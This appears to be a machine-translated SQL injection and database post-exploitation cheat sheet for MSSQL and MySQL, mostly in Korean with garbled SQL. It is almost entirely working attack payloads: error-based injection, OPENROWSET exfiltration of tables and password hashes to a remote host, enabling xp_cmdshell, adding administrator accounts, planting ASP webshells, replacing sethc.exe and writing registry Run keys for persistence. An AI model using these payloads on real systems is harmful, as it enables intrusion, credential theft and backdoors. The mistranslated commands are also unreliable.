기본 문법: OPENROWSET(SQLOLEDB, server=servername; uid=sa; PWD=123, 테이블 1에서 * 선택
* 표2에서 이 라인 문은 대상 호스트의 table2 테이블에서 원격 _blank> 데이터베이스의 table1 테이블로 모든 데이터를 복사합니다. 실용적 수리
연결 문자열의 IP 주소와 포트를 필요한 위치를 가리키도록 변경하세요. 예를 들면 다음과 같습니다: OPENROWSET(SQLOLEDB,uid=sa; PWD=123; 네트워크=DBMSSOCN; 주소=192.168.0.1,1433; ,선택
* 테이블1에서) 선택 * 테이블2에서 OPENROWSET(SQLOLEDB,uid=sa; PWD=123; 네트워크=DBMSSOCN; 주소=192.168.0.1,1433; ,선택
* _blank>_sysdatabases에서 발췌) Master.dbo.sysdatabases에서 * 선택 OPENROWSET(SQLOLEDB,uid=sa; PWD=123; 네트워크=DBMSSOCN; 주소=192.168.0.1,1433; ,선택
* _blank>_sysobjects) user_blank>_database.dbo.sysobjects 중에서 * 선택 OPENROWSET(SQLOLEDB,uid=sa; PWD=123; 네트워크=DBMSSOCN; 주소=192.168.0.1,1433; ,선택
* _blank>_syscolumns) user_blank>_database.dbo.syscolumns 중에서 * 선택 데이터베이스 복제_blank>: OPENROWSET(SQLOLEDB,uid=sa; PWD=123; 네트워크=DBMSSOCN; 주소=192.168.0.1,1433; ,선택
* 테이블1에서) 선택 * 데이터베이스에서.. 표1 OPENROWSET(SQLOLEDB,uid=sa; PWD=123; 네트워크=DBMSSOCN; 주소=192.168.0.1,1433; ,선택
* 표2에서) 데이터베이스에서 선택 * 표2
해시 테이블(HASH) 로그인 비밀번호를 복사하는 비밀번호의 해시_blank> sysxlogins에 저장됩니다. 방법은 다음과 같습니다: OPENROWSET(SQLOLEDB,
uid=sa; PWD=123; 네트워크=DBMSSOCN; 주소=192.168.0.1,1433; , _blank>_sysxlogins에서 * 선택)
데이터베이스.dbo.sysxlogins에서 * 선택 해시를 얻으면 무차별 대입 처리가 가능합니다.
디렉터리를 탐색하려면: 먼저 임시 테이블인 temp를 생성합니다 ; 테이블 임시 생성(ID Nvarchar(255), num1 nvarchar(255), num2 nvarchar(255), num3 nvarchar(255)); – ; 임시 임원 master.dbo.xp_blank>_availablemedia 삽입; – 모든 최신 드라이브 가져오기 ; Insert in temp(id) exec master.dbo.xp_blank>_subdirs c:\; – 하위 디렉터리 목록 받기 ; insert in temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – 모든 하위 디렉터리에 대한 디렉터리 트리 구조를 얻습니다.
인치를 온도 표에 합쳐 넣으세요 ; Insert in temp(id) exec master.dbo.xp_blank>_cmdshell type c:\web\index.asp; – 파일 보기
내용 ; Insert in temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\; – ; Insert in temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a; – ; insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts
\adsutil.vbs enum w3svc ; insert in temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – (xp_blank>_dirtree 적용 기관
공공) 테이블에 적어보세요: 문장 1: 그리고 1=(선택 IS_blank>_SRVROLEMEMBER(시스템 관리자)); – 문장 2: 그리고 1=(IS_blank>_SRVROLEMEMBER(서버관리자)를 선택); – 문장 3: 그리고 1=(선택 IS_blank>_SRVROLEMEMBER(setupadmin)); – 문장 4: 그리고 1=(IS_blank>_SRVROLEMEMBER(securityadmin)을 선택); – 문장 5: 그리고 1=(선택 IS_blank>_SRVROLEMEMBER(securityadmin)); – 문장 6: 그리고 1=(선택 IS_blank>_SRVROLEMEMBER(diskadmin)); – 문장 7: 그리고 1=(선택 IS_blank>_SRVROLEMEMBER(bulkadmin)); – 문장 8: 그리고 1=(선택 IS_blank>_SRVROLEMEMBER(bulkadmin)); – 명제 9: 그리고 1=(선택 IS_blank>_MEMBER(db_blank>_owner)); –
테이블로 가는 경로를 작성하세요: ; 테이블 dirs(paths varchar(100), id int) 생성 ; master.dbo.xp_blank>_dirtree c:\– 그리고 0<>(다이어에서 상위 1개 경로를 선택)– 그리고 0<>((@Inetpub)에 속하지 않은 경로가 있는 다이어에서 상위 1개 경로를 선택하기– ; 테이블 dirs1(paths varchar(100), id int)– ; 이master.dbo.xp_blank>_dirtree E:\web– 그리고 0<>(dirs1에서 상위 1개 경로를 선택)–
데이터베이스_blank> 웹 디렉토리에 백업하기: 다운로드 ; @a sysname 선언; 집합 @a=db_blank>_name(); 백업 데이터베이스 @a disk=e:\web\down.bak; –
그리고 1=(상위 1개 이름 선택(상위 12 id,name 선택 sysobjects 중 xtype=char(85)) T
ID desc 순서) 그리고 1=(sysobjects에서 상위 1개 선택 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) 참고
관련 표들. 그리고 1=(USER_blank>_LOGIN에서 user_blank>_id 선택) 그리고 0=(사용자 선택 USER_blank>_LOGIN 사용자>1)
-=- wscrip{filter}t.shell 예시 -=- @o 정찰 선언 exec sp_blank>_oacreate wscrip{filter}t.shell, @o 아웃 exec sp_blank>_oamethod @o, run, NULL, notepad.exe ; Declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, notepad.exe–
@o int, @f int, @t int, @ret int 선언 @line 바르차르(8000) 선언 exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out exec sp_blank>_oamethod @o, opentextfile, @f 아웃, c:\boot.ini, 1 exec @ret = sp_blank>_oamethod @f, readline, @line 아웃 while( @ret = 0) 시작 인쇄 @line exec @ret = sp_blank>_oamethod @f, readline, @line 아웃 끝
@o int, @f int, @t int, @ret int 선언 exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out exec sp_blank>_oamethod @o, createtextfile, @f 아웃, c:\inetpub\wwwroot\foo.asp, 1 exec @ret = sp_blank>_oamethod @f, writeline, NULL, <% Set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") ) %>
@o 정정을 선언하고, 정@ret exec sp_blank>_oacreate speech.voicetext, @o 아웃 exec sp_blank>_oamethod @o, register, NULL, foo, bar 임원 sp_blank>_oasetproperty @o, 스피드, 150 임원 sp_blank>_oamethod @o, 스피크, NULL, 모든 후속 서버는 우리, 528 소유입니다 지연 대기 00:00:05
; @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o exec
sp_blank>_oamethod @o, 레지스터, NULL, 푸, 바 이그젝트 sp_blank>_oasetproperty @o, 스피드, 150 에그젝트
sp_blank>_oamethod @o, 말해, NULL, 모든 후속 서버는 우리 소유야, 528 지연 대기
00:00:05–
xp_blank>_dirtree 해당 공공 허가 exec master.dbo.xp_blank>_dirtree c: 반환된 정보는 두 개의 필드로 구성됩니다: 하위 디렉터리, 깊이. 서브디렉터리 필드
캐릭터 유형인 깊이 필드는 형성 필드입니다. 테이블 디렉터리 만들기(paths varchar(100), id int) 테이블 구축, 여기서 생성된 테이블은 위 xp_blank>_dirtree와 관련이 있으며, 필드가 동일하고 타입도 동일합니다. dirs exec master.dbo.xp_blank>_dirtree c: 테이블을 만들고 저장 프로세스가 반환하는 필드를 동일하게 정의하면 됩니다
실행 시작! 테이블 작성의 효과를 얻으려면, 원하는 정보를 얻기 위해 단계별로 진행하세요! 이 오류 주입은 주로 Mysql 데이터 타입 오버플로우에 기반합니다 mysql > SELECT 18446744073709551610 * 2 ; ERROR 1690 (22003): '(18446744073709551610 * 2)' 내에서 부호 없는 BIGINT 값이 범위를 벗어났습니다.
mysql > SELECT - 1 * 9223372036854775808 ; ERROR 1690 (22003): BIGINT 부호 없는 값이 '(- (1) * 범위 밖에 있음
9223372036854775808)' 쿼리 데이터베이스 버전: mysql> SELECT * 2 (만약 ((SELECT * from (SELECT (버전) ) ) s), 18446744073709551610,
18446744073709551610)); ERROR 1690 (22003): '(2 * if ( Select ' 5.5 '에서) 범위 밖의 BIGINT 부호 없는 값
이중), 18446744073709551610.18446744073709551610))' 필드 이름 받아보세요: mysql> SELECT 2 * if(((SELECT * from (select * from test.shop) '' limit 1)>(SELECT * from
test.shop 제한 1), 18446744073709551610, 18446744073709551610);
오류 1690 (22003): '(2 * if((select ) 내에서 부호 없는 BIGINT 값이 범위 밖입니다
'article', 'dealer', 'price'에서 ('test'.'shop' 선택.'article' AS
'article', 'test'.'shop'.'dealer' AS '딜러', '테스트'.'샵'.'가격' AS '가격'에서
'테스트'.'상점') 제한 1) > (선택
'테스트'.'샵'.'기사','테스트'.'샵'.'딜러','테스트'.'샵'.'가격'에서 '테스트'.'샵' 한도에서
1)),18446744073709551610,18446744073709551610))' 필드 값 얻기:
mysql> SELECT 2 * if(((SELECT * from (select * from (mysql.user) LIMIT 1) '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610);
오류 1690 (22003): '(2 * if((select ) 내에서 부호 없는 BIGINT 값이 범위 밖입니다
'로컬 호스트', '루트', '*', 'Y', 'Y', 'Y', 'Y', 'Y','
듀얼 리밋 1에서 'Y', 'Y', 'Y', 'Y', 'Y', ', ''0', '0', '0', '0', ' 이중 제한 1에서)
<
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440
73709551610,18446744073709551610))'
이 방법은 구버전 Mysql에서는 작동하지 않으며, 오류 메시지의 길이 제한을 알아야 합니다. 이는 이를 결정합니다
원하는 만큼 오래 사용할 수 있습니다: 마이시스 / my_error.c
/* 오류 메시지 최대 길이. MYSQL_ERRMSG_SIZE와 동기화되어야 합니다. */ #define 에르름스사이즈 (512)
만약 객체가 MariaDB(Mysql의 포크)라면, 위 방법을 시도하면 다음과 같은 오류 메시지가 뜰 수 있습니다:
mysql> SELECT 2*(if((SELECT * from (SELECT (version())s), 18446744073709551610,
18446744073709551610)) 오류 1690 (22003): '(2 * if((select) 내에서 BIGINT 부호 없는 값이 범위 밖입니다
#),18446744073709551610,18446744073709551610))'
해결책으로서 이 문제는 다음과 같이 해결할 수 있습니다:
MYSQL> SELECT (I가 NULL이 아님) - -9223372036854775808 FROM (SELECT (VERSION())I)A; ERROR 1690 (22003): '(('5.5-MariaDB' is not null) - -
(9223372036854775808))' 이제 벡터를 조금 더 짧게 만들 수 있는지 봅시다
//查询数据库版本
SELECT 2*(if((SELECT * from (SELECT (version())s), 18446744073709551610,
18446744073709551610)) = select 1E308*if((select*from(select version())x),2,2)
SELECT (I가 null이 아님) - -9223372036854775808 (SELECT (VERSION()I)A) = Choose if(x,2,2)*1E308 from(select version()x)y
//获取表字段名称 SELECT 2 * 만약(((SELECT * from (select * from (select * from test.shop) '' limit 1)>(SELECT * from
test.shop 제한 1), 18446744073709551610, 18446744073709551610) = Select 1E308*if((select*from(select*from mysql.user)''limit 1)>(select*from mysql.user limit
1),2,2)
//获取字段值
SELECT 2 * if(((SELECT * from (select * from (mysql.user) LIMIT 1) '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610) = select 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from
mysql.user limit 0),2,2)
//获取指定字段的值 select 1E308*if((select user|| 호스트|| 비밀번호|| file_priv from(select*from mysql.user LIMIT
1) 한계 1), 2, 2)
//获取字段个数
select 1E308*if((select*from mysql.user limit 1)>(select 1),2,2)
기타 변형
SELECT (I가 null이 아님) - -9223372036854775808 (SELECT (VERSION()I)A) select 1E308*if((select user|| 호스트|| 비밀번호|| file_priv from(select*from mysql.user LIMIT
1) 한계 1),2,2); => 선택 2*if((사용자 선택|호스트|비밀번호|file_priv 선택(선택*mysql.사용자 LIMIT 1)A 제한
1),1e308,0); MySQL> 선택 (*을 MySQL.USER에서 선택)=1; mysql> select (*을 mysql.user)in(1);
오류 1241 (21000): 피연산자는 42열을 포함해야 합니다 선택 2*if((사용자 선택|호스트|비밀번호|file_priv 선택(선택*mysql.사용자 LIMIT 1)A 제한
1),1e308,0); select if((select user|| 호스트|| 비밀번호|| file_priv from(select*from mysql.user LIMIT 1)a
한계 1),2,2)*1E308 SELECT (I가 null이 아님) - -9223372036854775808 (SELECT (VERSION()I)A) SELECT (x!=0x00)--9223372036854775808 from(SELECT version()x)y mySQL> select!x-~0.FROM(select+user()x)f; 오류 1690 (22003): BIGINT 부호 없는 값이 '((not('root@localhost')) - ~ 범위 밖에 있음
(0))' 3. 데이터베이스 시스템 심사 ; 그리고 (sysObjects에서 count(*) 선택 ) >0 MSSQL ; 그리고 (msysobjects에서 count(*) 선택)>0 접근 4. 주입 매개변수는 문자입니다 '그리고 [쿼리 기준] 그리고 ''='' 5. 검색 중에 필터링된 매개변수가 없다 '그리고 [쿼리 기준] 및 '%25'=' 6. 데이터베이스를 추측하기 ; 그리고 ([데이터베이스 이름]에서 Count(*)를 선택)>0 7. 필드를 추측하기 ; 그리고 (데이터베이스 이름에서 Count(field name) 선택)>0 8. 필드에서 기록의 길이를 추측하기 ; 그리고 (데이터베이스 이름에서 상위 1개의 Len (필드 이름) 선택)>0 9. (1) 필드의 ASCII 값을 추측하기 (접근) ; 그리고 (데이터베이스 이름에서 상위 1개의 ASC(mid(field name, 1,1)) 선택)>0 (2) 필드(mssql)의 ASCII 값을 추측하기. ; 그리고 (데이터베이스 이름에서 상위 1개의 유니코드(substring(field name, 1,1))를 선택)>0 10. 테스트 권한 구조 (mssql) ; 그리고 1=(선택 IS_SRVROLEMEMBER('sysadmin')); -- ; 그리고 1=(선택IS_SRVROLEMEMBER('서버관리자')); -- ; 그리고 1=(선택 IS_SRVROLEMEMBER('setupadmin')); -- ; 그리고 1=(선택 IS_SRVROLEMEMBER('securityadmin')); -- ; 그리고 1=(IS_SRVROLEMEMBER('디스크관리자' 선택 포함)); -- ; 그리고 1=(선택IS_SRVROLEMEMBER('bulkadmin')); -- ; 그리고 1=(선택 IS_MEMBER('db_owner')); -- 11. mssql과 시스템에 대한 계정 추가 ; 임원 master.dbo.sp_addlogin 사용자 이름; -- ; exec master.dbo.sp_password null, username, password; -- ; exec master.dbo.sp_addsrvrolemember sysadmin 사용자 이름; -- ; exec master.dbo.xp_cmdshell 'net 사용자 사용자 이름 비밀번호 /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add';-- ; exec master.dbo.xp_cmdshell 'net user username password /add'; -- ; exec master.dbo.xp_cmdshell 'net localgroup administrators username /add'; -- 12. (1) 카탈로그를 횡단 ; 테이블 디렉터리 만들기(paths varchar(100), id int) ; 'C:\' master.dbo.xp_dirtree 삽입 ; 그리고 (DIR에서 상위 1개 경로를 선택)>0 ; 그리고 (dir에서 경로가 아닌 곳에서 상위 1개 경로를 선택하세요. 경로가 ('이전 단계에서 얻은 경로'))>) (2) 카탈로그를 탐색하기 ; 테이블 임시 생성(ID Nvarchar(255), num1 nvarchar(255), num2 nvarchar(255), num3 nvarchar(255)); -- ; 임시 임원 master.dbo.xp_availablemedia 삽입; -- 모든 현재 드라이브 확보 ; 'c:\'를 temp(id) exec master.dbo.xp_subdirs에 삽입; -- 하위 디렉터리 목록을 받으세요 ; temp(id,num1) exec master.dbo.xp_dirtree 'c:\'를 삽입합니다; -- 모든 서브디렉토리의 디렉터리 트리 구조를 얻습니다 ; temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp'을 삽입; -- 파일 내용 보기 13. msSQL의 저장 프로시저 xp_regenumvalues 레지스트리 루트 키, 자식 키 ; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 등
모든 키 값을 반환하는 RecordSet 메서드 xp_regread 루트 키, 자식 키, 키-값 이름 ; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion','CommonFilesDir'는 공식화 키의 값을 반환합니다 xp_regwrite 루트 키, 자식 키, 값 이름, 값 타입, 값 값 유형에는 두 가지 유형이 있습니다: 문자 유형과 정수에 대해 REG_SZ REG_DWORD ; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'TestvalueName', 'reg_sz', 'hello'가 레지스트리에 기록됩니다 xp_regdeletevalue 루트 키, 서브키, 값 이름 exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'TestvalueName'을 사용하여 값을 제거하세요 xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 삭제 키,
그 키 아래 모든 값을 포함하세요 14. MSSQL 백업이 웹셸을 생성합니다 모델 사용 create table cmd(str image); cmd(str) 값에 삽입 ('<% Dim oscrip{filter}t %>'); 디스크로 백업 데이터베이스 모델='C:\l.asp'; 15. MSSQL 내장 함수 ; 그리고 (@@version)>0을 선택하여 Windows 버전 번호를 얻습니다 ; 그리고 user_name()='dbo'를 사용하여 현재 시스템의 연결된 사용자가 SA인지 판단합니다 ; 그리고 (선택 user_name())>0 현재 시스템의 연결된 사용자들을 폭발시켰습니다 ; 그리고 (db_name())>0을 선택하여 현재 연결된 데이터베이스를 얻습니다 16. 간결한 웹쉘 모델 사용 create table cmd(str image); Insert in cmd(str) value ('<%=Server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c
"&request("c").stdout.readall%>'); 디스크로 백업 데이터베이스 모델='G:\wwwtest\l.asp'; 요청할 때는 다음과 같은 표현을 사용하세요:
http://ip/l.asp?c=dir ================================================================================================
================================================================================================
================================================================================================
================================================================================================
============================ 시스템 데이터베이스를 포함한 모든 데이터베이스 이름을 받아보세요 –master.dbo.sysdatabases에서 이름 선택
– 모든 비시스템 데이터베이스 이름을 획득하세요 –master.dbo.sysdatabases에서 [name]을 선택하세요. DBId>6 [이름별로 정렬]
– 데이터베이스 파일 주소를 포함한 모든 정보를 얻으세요 –master dbo.sysdatabases 중에서 * 선택, DBId>6 순서
[이름]
이 문장 쿼리는 모든 사용자 테이블을 반환합니다
xtype='u'인 sysobjects에서 * 선택하세요
시스템 내 모든 데이터 테이블 정보를 조회하세요
시스템 객체에서 * 선택
기계 이름을 봐 SYS.server에서 * 선택
열목차 임원 master.dbo.xp_subdirs 'C:\'
exec master.dbo.xp_dirtree 'c:',1,1 db_owner 허가는 강제할 수 있습니다
exec master.dbo.xp_dirtree 'c:/Program Files',1,1
웹셸에 작성된 프로그램 코드
임원 master.dbo.xp_subdirs 'd:\web\www.xx.com'; 임원 sp_makewebtask 'd:
\web\www.XXXX.com\XX.asp','select"<%execute(요청("SB"))%>"
사부님을 실행하세요.. xp_enumgroups
트래버스 시스템 사용자
사부님을 실행하세요.. xp_getnetname 현재 기계 이름 받기
--서버의 고정 드라이브와 각 드라이브에 사용 가능한 공간을 나열하세요 DBO 공공
실행
xp_ntsec_enumdomains
-- MSSQL에 로그인하려면 계정을 생성하세요 임원master.dbo.sp_addlogin 이름, 패스; --
-- 서버 도메인 이름을 나열하세요 xp_ntsec_enumdomains // 기기 이름 //dbo 공개
-- 서비스 중지 또는 시작 xp_servicecontrol '정지', '일정' //일정은 서비스 명칭입니다 //dbo
--PID 사용
실행 중인 프로그램을 중지합니다 xp_terminate_process 123 //123은 PID //dbo
-- 디렉터리 내의 하위 디렉터리만 나열됩니다 dbo.xp_subdirs 'C:' //dbo
SQL 서버 2005년 xp_cmdshell 개통 방식 EXEC sp_configure '고급 옵션 표시', 1; 재구성; 집행위원회
sp_configure 'xp_cmdshell', 1; 재구성;
SQL2005 오픈 'OPENROWSET' 지원되는 방법: exec sp_configure '고급 옵션 표시', 1; 재구성; 임시sp_configure '애드 혹시'
분산 쿼리',1; 재구성;
'sp_oacreate' 지원을 가능하게 하는 SQL2005: exec sp_configure '고급 옵션 표시', 1; 재구성; 임원
sp_configure '올레 자동화 절차',1; 재구성
SQL Server 2008에서 xp_cmdshell 활성화하는 방법
-- 고급 옵션을 변경할 수 있게 하기 위해서입니다. 집행위원회
sp_configure '고급 옵션 표시', 1 가세요 -- 현재 설정된 값을 업데이트하기 위해
고급 옵션. 재구성 가세요 -- 기능을 활성화하는 것. 임원 sp_configure 'xp_cmdshell', 1 가세요 --받는 사람
이 기능에 대해 현재 설정된 값을 업데이트하세요. 재구성 가세요
exec xp_cmdshell 'ipconfig'
오늘은 데이터베이스 서버의 SA 로그인 비밀번호를 변경하려고 했는데 갑자기 잊어버려서 다른 계정의 도움을 받아 쿼리 분석기를 열어 SA 비밀번호를 변경해야 했습니다
아주 간단합니다:
실행: sp_password 널, '테라시프드', '사' SA 비밀번호를 "teracypwd"로 설정하세요
성공적인 처형 이후
"명령어가 성공적으로 완료됨"이라는 항목이 있습니다. 그래!
DB 권한에서 MSSQL 데이터베이스 서버 IP 획득 방법을 분리하세요
1. 지역 노스캐롤라이나가 NC -VVLP 80을 듣습니다
2.; 삽입
OPENROWSET('SQLOLEDB','uid=sa; PWD=xxx; 네트워크=DBMSSOCN; 주소=당신의 IP인 80; ', '선택 *
dest_table') src_table 중에서 *를 선택; --
OpenRowset에서 * 선택
('sqloledb','server=125.110.145.130,6789; uid=sa; pwd=zhu','select user; ')
데이터베이스 가져오기 및 내보내기
/*不同服务器数据库之间的数据操作*/
--링크 서버 생성 임원 sp_addlinkedserver
'ITSV', 'SQLOLEDB', '원격 서버 이름 또는 IP 주소' exec sp_addlinkedsrvlogin 'ITSV', '거짓
',null, 'username', 'password'
--쿼리 예시 ITSV.database name.dbo.table name 에서 * 선택하세요
--임포트 예시 선택 *
ITSV.databasename.dbo.tablename 에서 테이블로 변환
--미래에 더 이상 사용하지 않는 링크된 서버를 삭제하세요 'ITSV' sp_dropserver 집행위원회,
'드롭로킨'
-- 원격/LAN 데이터 연결 (openrowset/openquery/opendatasource) --1, openrowset
--쿼리 예시 선택 *
openrowset('SQLOLEDB ', 'SQL Server Name '; '사용자 이름'; 'password', 데이터베이스 이름.dbo.table name)
-- 로컬 테이블 생성 OpenRowSet('SQLOLEDB ', 'SQL Server Name '; '사용자 이름'; '비밀번호', 번호
데이터베이스 이름.dbo. 테이블 이름에 따르면)
-- 로컬 테이블을 원격 테이블로 가져오세요 insert openrowset( 'SQLOLEDB', 'sql server name'; '사용자 이름'; '비밀번호', 데이터베이스
name.dbo.table, name * 로컬 테이블에서 선택
-- 로컬 테이블 업데이트 업데이트 B 집합 b. 열 A = a openrowset('SQLOLEDB ', 'SQL Server Name '; '사용자 이름'; '
비밀번호 ', 데이터베이스 이름 .dbo.table name)를 내부 조인 로컬 테이블 b a.column1=b.column1
--openquery 사용하려면 연결을 생성해야 합니다
--먼저, 링크 서버를 만들기 위한 연결을 생성하세요 'ITSV', ' 'sp_addlinkedserver 집행
'SQLOLEDB', '원격 서버 이름 또는 IP 주소' --문의 선택 * FROM openquery(ITSV, 'select * from data
library.dbo.table name ') -- 로컬 테이블을 원격 테이블로 가져오세요 insert openquery(ITSV, 'SELECT * FROM database.dbo.table name') 로컬 선택
표 --로컬 테이블 업데이트 업데이트 B 집합 b. 열 B=a FROM openquery(ITSV, 'select * from database.dbo.tablename')
내부 결합 로컬 테이블 b는 a. 열: A=b. 열: A
--3, opendatasource/openrowset 셀렉트 * 보낸 사람
opendatasource( 'SQLOLEDB ', 'Data Source=ip/ServerName; 사용자 ID=로그인 이름; 비밀번호=비밀번호 '
).test.dbo.roy_ta -- 로컬 테이블을 원격 테이블로 가져오세요
삭제 및 복원 xp_cmdshell
회복 방법 xp_cmdshell 확장 저장 프로시저를 삭제하세요xp_cmdshell
명제 임원 sp_dropextendedproc 'xp_cmdshell'
cmdshell의 SQL 문을 복구하세요 exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
임원
master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'; 중에서 count(*)를 선택한다.
master.dbo.sysobjects 여기서 xtype='x' 그리고 반환 결과는 1이고 괜찮습니다
그렇지 않으면 c:\inetput\web 파일을 업로드해야 합니다
\xplog70.dll 나중에 'xp_cmdshell'master.dbo.sp_addextendedproc 'C:_inetput\web\xplog70.dll
’; --
다음과 같이 삭제하면 드롭 절차 sp_addextendedproc 드롭 절차 sp_oacreate 임원
sp_dropextendedproc 'xp_cmdshell'
다음 문장으로 복원할 수 있습니다 DBCC Adextendedproc ("sp_oacreate", "odsole70.dll") DBCC
addextendedproc ("xp_cmdshell", "xplog70.dll")
이렇게 하면 sp_addextendedproc 존재 여부와 상관없이 직접 복원할 수 있습니다
1、 xp_cmdshell 활용: exec master.dbo.xp_cmdshell "net user admin admin /add" 임원
master.dbo.xp_cmdshell "net localgroup administrators admin /add"
xp_cmdshell 경우, sp_oamethod 따라 sp_oacreate을 사용하세요: @object 지능을 선언하세요 임원
sp_oacreate 'wscrip{filter}t.Shell', @object 임원 sp_oamethod
@object, 'Run', NULL, 'net user admin admin /add' exec sp_oamethod @object,'Run',NULL,'net
localgroup 관리자 admin /add'
참고: regsvr32 /s c:\windows\system32\wshom.ocx Start wscrip{filter}t.shell 3、 sp_oacreate와 FSO를 사용하세요 @o 정찰 선언 임원 sp_oacreate
'scrip{filter}ting.filesystemobject', @o exec sp_oamethod @o, 'copyfile', null,'c:\windows
\explorer.exe' ,'c:\windows\system32\sethc.exe'; @oo int를 선언하세요 임원
sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo out 임원 sp_oamethod @oo,
'복사파일', null,'c:\windows\system32\sethc.exe' ,'c:\Windows\System32\dllcache\sethc.exe';
xp_regwrite 사용하세요 (db_owner, 재부팅 필요): 임원 master.dbo.xp_regwrite
'hkey_local_machine','소프트웨어\Microsoft\Windows\CurrentVersion\
run','eadd1','reg_sz','net user admin admin /add' 임원 master.dbo.xp_regwrite
'hkey_local_machine','소프트웨어\Microsoft\Windows\CurrentVersion\
run','eadd2','reg_sz','net localgroup 관리자 관리자 /add' 5. sp_add_job 사용: 임원
master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' MSDB exec sp_delete_job
null,'x' 'X' sp_add_job 집행관 임원 sp_add_jobstep
Null,'x',Null,'1','CMDEXEC','cmd /c net user admin admin /add' 임원 sp_add_jobserver
Null,'x',@@servername 임원 sp_start_job 'x'
많은 SA들이 샌드박스 모드를 직접 사용해 여러 기계에서 성공했지만, 저는 직접 연습해본 적이 없고 성공률이 어떤지 잘 모릅니다. 연장이 제거될 때, 먼저
레지스트리에 읽기 및 쓰기 저장소를 복원하세요. DBCC 추가 확장절차 ('xp_regread', 'xpstar.dll') DBCC addextendedproc
('xp_regwrite', 'xpstar.dll')
샌드박스의 보호 모드를 고정했습니다 대장님.. xp_regwrite 'HKEY_LOCAL_MACHINE','소프트웨어\Microsoft\Jet
\4.0\엔진','샌드박스 모드','REG_DWORD',0; --
'SandBoxMode' 값이 0이 되었는지 확인해 보세요.
'HKEY_LOCAL_MACHINE' 소프트웨어 master.dbo.xp_regread
\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
마지막으로 샌드박스 모드를 호출하세요 Select * from openRowSet('Microsoft.Jet.oledb.4.0','; database=C:\WINDOWS
\system32\ias\dnary.mdb','select shell("cmd.exe /c net user passwd /add")')
샌드박스 보호 모드가 "꺼지지" 않으면 오류가 보고됩니다: 서버: 메시지 7357, 레벨 16, 스테이트 2, 라인 1
객체 'select shell("cmd.exe /c net user passwd /add")를 처리하지 못했습니다. OLE DB는 프로그램을 제공합니다
서문 'microsoft.jet.oledb.4.0'은 객체에 열이 없음을 나타냅니다.
OLE DB 오류 추적 [비인터페이스 오류: OLE DB 제공자가 객체를 처리할 수 없음, 객체가
has nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user
user passwd /add")')).
2、 .mdb가 존재하지 않거나 입력 경로가 잘못되었다면 서버: Msg 7399, 레벨 16, 스테이트 1, 라인 1
OLE DB provider 'microsoft.jet.oledb.4.0' error. [OLE/DB 제공자가 메시지를 반환했습니다:
파일 'C:\WINDOWS\system32\ias\dnary1.mdb'를 찾을 수 없습니다. ]
OLE DB error trace [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize return
0x80004005: ]
3. 입력 과정에서 공백이 더 많으면 오류도 보고됩니다. 특히 많은 사람들이 온라인에서 직접 기사를 찾습니다
붙여넣고 실행하세요. 서버: 메시지 7357, 레벨 16, 스테이트 2, 라인 1 객체 'select' 처리 실패
shell("cmd.exe /c net user passwd /add")'. OLE DB 제공자 'microsoft.jet.oledb.4.0'은 객체에 열이 없다고 명시합니다.
OLE DB 오류 추적 [비인터페이스 오류: OLE DB 제공자는 객체를 처리할 수 없는데, 객체가
nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user
passwd /add")')
4、 mdb 권한과 cmd.exe 권한이 잘못되면 이 문제도 발생합니다. MDB 허가가 잘못되었을 경우, 서버: 제거
이자율 7320, 16층, 주 2, 1행
그는 대답할 수 없었다 OLE DB 제공자 'Microsoft.Jet.OLEDB.4.0'이 쿼리를 실행합니다. [OLE/DB 제공자가 반환됨
message: 未知] OLE DB Error Trace [OLE/DB Provider 'Microsoft.Jet.OLEDB.4.0'
ICommandText::Execute returned 0x80040e14]。
5. 넷 허가가 잘못되면 프롬프트가 없습니다.
권한을 올리는 마지막 방법은 시스템의 ias.mdb과 cmd.exe을 현재 웹 디렉터리 아래에 세 개의 파일을 업로드하는 net.exe입니다.
Execute select * from openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb','select shell
